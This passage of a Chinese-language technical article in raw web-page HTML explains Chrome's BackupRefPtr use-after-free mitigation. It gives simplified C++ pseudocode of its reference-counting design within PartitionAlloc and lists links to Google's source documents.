sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google Chrome安全团队在缓解UAF漏洞利用上的进展。由于MiraclePtr并不是单指某一种智能指针技术，而是包含了Google安全团队在缓解UAF利用上的多次实验和尝试，本文也仅针对其最新启用的BackupRef方案做介绍，如有疏漏错误，敬请斧正，共同交流探讨。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">MiraclePtr</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">首先需要明确，MiraclePtr与unique_ptr、weak_ptr等C++中的原始智能指针并不是同一概念，它是Google安全团队在缓解由指针引起的内存破坏漏洞过程中，提出的多种方案集合，其本质是希望将原始指针迁移到带缓解方案的智能指针类，通过引用计数、指针标记等方式阻止攻击者对内存破坏漏洞被利用，重点解决的是UAF类型漏洞的悬垂指针可被利用的问题。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6764436296975253" data-s="300,640" style="" data-type="png" data-w="1091" src="https://wechat2rss.xlab.app/img-proxy/?k=6ac0a8dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQGuV7VogLqVWqKfjRpgj3NvZQvgicjrmCpaBktKIVqZCd8SbibFE5h9HkknskJ2NZ6fXluowC9K8MQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">如上图，Google安全团队认为攻击者在针对Chrome的攻击过程中，通常需要组合一个渲染器漏洞利用和一个沙箱逃逸漏洞来达到完整利用的目的，MiraclePtr可以通过缓解UAF漏洞利用，有效的阻止攻击者针对浏览器主进程中UAF漏洞的利用（上图蓝色部分），让攻击者无法实现完整的利用链，从而降低漏洞危害。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5894538606403014" data-s="300,640" style="" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=bd976251&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQGuV7VogLqVWqKfjRpgj3N9RicyR3dFWTEkHtd5LMABHqxyh9L8W5Wic9YJYEdcLYpOYLU0fujTLLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">在对Chrome历史可利用漏洞统计中，UAF类型漏洞占了几乎一半，因此MiraclePtr也尝试了包含BackupRefPtr、BorrowPtr、SafePtr、CheckedPtr、MTECheckedPtr、ViewPtr在内的多种方式来缓解UAF类型的漏洞利用，并在对比了各方案在性能开销、内存开销、安全保护、开发人员便利性上的优缺点后，近期在Windows和Android的Chrome 102稳定版中启用了BackupRefPtr，下文只重点介绍BackupRefPtr，其他方案详细信息查看参考链接中的内容。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.710691823899371" data-s="300,640" style="" data-type="png" data-w="1113" src="https://wechat2rss.xlab.app/img-proxy/?k=51c9a0f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQGuV7VogLqVWqKfjRpgj3N95YWcvaxy4KeJicbhAYKic1gpp6UqxgL8ORC8q2qWwWbzEnk6avuxW4g%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">BackupRefPtr方案</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">BackupRefPtr提出了依赖“确定性引用计数”的指针保护方案，主要借鉴了CheckedPtr2、SafePtr和BorrowPtr的思路，并且需要Chrome的堆内存分配器PartitionAlloc支持。在2020年，Google ProjectZero在博客公布的一篇采用CPU漏洞侧信道攻击来泄漏缓存数据，从而实现Chrome沙箱逃逸的文章，证明了依赖指针标记的方案有潜在的被通过侧信道攻击的风险，出于安全性考虑，确定性引用计数的方案成了优先选择。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">PartitionAlloc是Chrome中自行实现的堆分配器，主要在分配效率、内存空间利用率和安全性上进行了优化。PartitionAlloc使用2MB大小的超级页面作为普通数据桶，每个超级页面被分割成多个分区。第一个和最后一个分区是永久不可访问的，用来当作保护页面，在第一个分区页中间的一个系统页面保存了元数据（metadata），这些元数据提供了对内存对象的跟踪能力，BackupRefPtr使用到的引用计数就存储在metadata中。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1729776247848537" data-s="300,640" style="" data-type="png" data-w="1162" src="https://wechat2rss.xlab.app/img-proxy/?k=849648ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQGuV7VogLqVWqKfjRpgj3N0mD9zPA5WicDZDdnqn9IRIYnNYKMiaHqyYmIGPicuUjHq7fWyjx1LIL5Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">在Chromium的源码实现中，BackupRefPtr是一个线程安全的引用计数指针类，可以非常简单的替换原始指针，Chromium团队在引入BackupRefPtr时也一次性替换了源码之中超过15000个原始指针。BackupRefPtr的引用计数存储在PartitionAlloc元数据中（与CheckedPtr2方案使用同一标志位），如果在销毁一个对象时，它的引用计数不为零，则会将该对象标记为被污染，此时程序不会真正的释放该内存，而是在再次访问被破坏的对象时，程序将发生主动崩溃。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">该方案PoC代码如下，具体实现可参考Chromium源码raw_ptr.h中的BackupRefPtrImpl类：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">template</span> &lt;<span class="code-snippet__keyword">typename</span> T&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">BackupRefPtr</span> {</span></span></code><code><span class="code-snippet_outer">  BackupRefPtr(T* ptr) : ptr_(ptr) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!isSupportedAllocation(ptr))</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">atomic_int</span>&amp; ref_count = *(cast&lt;<span class="code-snippet__keyword">atomic_int</span>*&gt;(ptr) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    CHECK(++ref_count);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">  ~BackupRefPtr() {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!isSupportedAllocation(ptr_))</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">atomic_int</span>&amp; ref_count = *(cast&lt;<span class="code-snippet__keyword">atomic_int</span>*&gt;(ptr) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (--ref_count == <span class="code-snippet__number">0</span>) <span class="code-snippet__comment">// needed in case the BackupRefPtr outlives</span></span></code><code><span class="code-snippet_outer">                          <span class="code-snippet__comment">// its pointee and has to free the slot</span></span></code><code><span class="code-snippet_outer">      PartitionAlloc::ActuallyFree(ptr_);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">  T* <span class="code-snippet__keyword">operator</span>-&gt;() { <span class="code-snippet__keyword">return</span> ptr_; }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">  T* ptr_;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span>* <span class="code-snippet__title">Alloc</span><span class="code-snippet__params">(<span class="code-snippet__keyword">size_t</span> size)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">void</span>* ptr = ActuallyAlloc(size);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (isSupportedAllocation(ptr)) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span>&amp; ref_count = *(cast&lt;<span class="code-snippet__keyword">int</span>*&gt;(ptr) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    ref_count = <span class="code-snippet__number">1</span>; <span class="code-snippet__comment">// We need to set the reference count to one initially</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__comment">// otherwise |~BackupRefPtr| can trigger deallocation of</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__comment">// an object that’s still alive.</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> ptr;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">Free</span><span class="code-snippet__params">(<span class="code-snippet__keyword">void</span>* ptr)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (isSupportedAllocation(ptr)) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">atomic_int</span>&amp; ref_count = *(cast&lt;<span class="code-snippet__keyword">atomic_int</span>*&gt;(ptr) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (ref_count != <span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__built_in">memset</span>(ptr, <span class="code-snippet__number">0xcc</span>, getAllocationSize(ptr));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (--ref_count != <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">  ActuallyFree(ptr);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h2 cid="n0" mdtype="heading" style="margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;margin-top: 16px;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">总结</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">BackupRefPtr通过上述机制，解决了悬垂指针（Dangling Pointer）被利用的问题，在该方案中，发生释放操作但引用计数不为0的对象并没有被真正释放，攻击者无法使用堆喷射等方式重新分配该对象的内存空间，并且在对象再次被访问时，该内存区域被填充了污染标志或发生主动崩溃，UAF漏洞被缓解为内存泄漏、断言失败或空指针等无法利用的崩溃。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">整体而言，该机制的引入进一步降低了Chrome中可利用漏洞的比例，一定程度上提高了Chrome的安全性。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">参考链接</span></h2><h3 style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 14px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="272181" msttexthash="13138190" style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></span></h3><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">1、Use-after-freedom: MiraclePtr</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://security.googleblog.com/2022/09/use-after-freedom-miracleptr.html" target="_blank">https://security.googleblog.com/2022/09/use-after-freedom-miracleptr.html</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">2、Pointer Safety Ideas [PUBLIC] - Comparison of Use-After-Free mitigation proposals</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit" target="_blank">https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">3、BackupRefPtr</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://docs.google.com/document/d/1m0c63vXXLyGtIGBi9v6YFANum7-IRC3-dmiYBCWqkMk/edit#heading=h.jgclb3snutxw" target="_blank">https://docs.google.com/document/d/1m0c63vXXLyGtIGBi9v6YFANum7-IRC3-dmiYBCWqkMk/edit#heading=h.jgclb3snutxw</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">4、PartitionAlloc Design</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://chromium.googlesource.com/chromium/src/+/main/base/allocator/partition_allocator/PartitionAlloc.md" target="_blank">https://chromium.googlesource.com/chromium/src/+/main/base/allocator/partition_allocator/PartitionAlloc.md</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">5、Escaping the Chrome Sandbox with RIDL</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://googleprojectzero.blogspot.com/2020/02/escaping-chrome-sandbox-with-ridl.html" target="_blank">https://googleprojectzero.blogspot.com/2020/02/escaping-chrome-sandbox-with-ridl.html</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">6、MDS: Microarchitectural Data Samplin</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://mdsattacks.com/" target="_blank">https://mdsattacks.com/</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 14px;"><br/></span></p><section style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 